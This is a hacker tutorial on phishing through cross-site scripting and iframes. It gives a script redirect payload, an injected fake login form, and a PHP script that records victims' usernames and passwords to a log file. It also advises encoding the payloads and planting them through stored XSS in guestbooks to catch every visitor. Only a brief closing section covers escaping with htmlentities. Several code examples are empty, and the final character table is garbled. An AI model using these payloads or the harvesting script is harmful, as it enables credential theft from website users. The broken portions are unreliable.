Xss & Iframe Phishing

Introduction:

In this paper, you will learn the different phishing from xss/iframe. The XSS gives the opportunity to interact with the user target (redirect, cookie and phishing, etc.). Here you will see:

- Xss Redirect Phishing
- Xss Html Inject Phishing
- Iframe Phishing
- How Secure it

About me: 599eme Man
Flouf@live.fr

Special Thanks: Str0zen, J.consultant, Sheiry, Pr0h4ck3rz & Security-shell
Xss Redirect Phishing

The redirect phishing consists to redirect on a fake page who steal the victim's login as a true phishing page but from the real website to our phishing page.

Example:

- Vulnerable site:


- Xss redirect exploiting:


  // Replace http://www.google.com by your phishing page address

If the website contains a Xss persistent vuln, for example a guestbook, write & send it & all users who will visit the guestbook will be redirected on your page.

  <script>document.location.href="http://www.google.com"></script>

  // Replace http://www.google.com by your phishing page address
**Xss Html inject Phishing**

The Xss Html inject consists to inject a code of a fake login page in the url to make a phishing page ON the site.

Example :

- **Vulnerable site** :

```html
```

- **Xss Html inject exploiting** :

```html
<br />
Login :<br />&nbsp;<input name="login" /><br />
Password :<br />&nbsp;<input name="Password" type="password" /><br />
<br /><input name="Valid" value="Ok !" type="submit" /><br /></form></div></body></html>
```

// Replace 'phishing.php' by your phishing page

**Warning :** Don't forget to encode it!

If the website contains a Xss persistent vuln, for example a guestbook, write & send it & all users who will visite the guestbook will see the phishing page and perhaps connect on.

```html
<html><head><meta content="text/html; charset=ISO-8859-1" http-equiv="content-type" /><title></title></head><body><div style="text-align: center;"><form Method="POST" Action="phishing.php" Name="form">Phishing page :
<br />
Login :<br />&nbsp;<input name="login" /><br />
Password :<br />&nbsp;<input name="Password" type="password" /><br />
<br /><input name="Valid" value="Ok !" type="submit" /><br /></form></div></body></html>
```

// Replace 'phishing.php' by your phishing page
Phishing.php :

```php
<?php
    $login = $_POST['login'];
    $password = $_POST['Password'];
    $open = fopen('log.htm', 'a+');
    fputs($open, 'Login : ' . $login . '<br>
    Password : ' . $password . '<br>');
?>
```

- Xss Html inject Pic :
Iframe Phishing

The iframe phishing is such as the xss redirect phishing and html url phishing in one: its a redirect in iframe on the web site.

Example:

- Vulnerable Site:


- Iframe Phishing Exploiting:


  // Replace http://google.com by your phishing page

Warning: Don't forget to encode it!

As the others methods if the website countain a Xss persistent, you can inject the iframe code to trap all visitors.
Iframe Phishing Pic:
Secure

To secure the XSS/Iframe phishing you need to secure the XSS vuln: it's very easy, for this you need to use htmlentities:

Example:

- Vulnerable code:

```php
<?php
$var2 = $_GET['var1'];
echo $var2
?>
```

- Secure Code with htmlentities:

```php
<?php
if(isset($_GET['var1'])) // We check if $_GET['var1'] exists, if exists then we continue
{
    echo htmlentities($_GET['var1'], ENT_QUOTES); // Print $_GET['var1'] with encoded quotes
}
?>
```
- $\text{Htmlentities}($Original, ENT_QUOTES); convert:

<table>
<thead>
<tr>
<th>$\text{Original}</th>
<th>\rightarrow</th>
<th>$\text{Htmlentities}(\text{Soriginal, ENT_QUOTES})</th>
</tr>
</thead>
<tbody>
<tr>
<td>'</td>
<td>'</td>
<td>$#039;$</td>
</tr>
<tr>
<td>&quot;</td>
<td>&quot;</td>
<td>$\text{quot;}$</td>
</tr>
<tr>
<td>&lt;</td>
<td>&lt;</td>
<td>$&amp;lt;$</td>
</tr>
<tr>
<td>&gt;</td>
<td>&gt;</td>
<td>$&amp;gt;$</td>
</tr>
</tbody>
</table>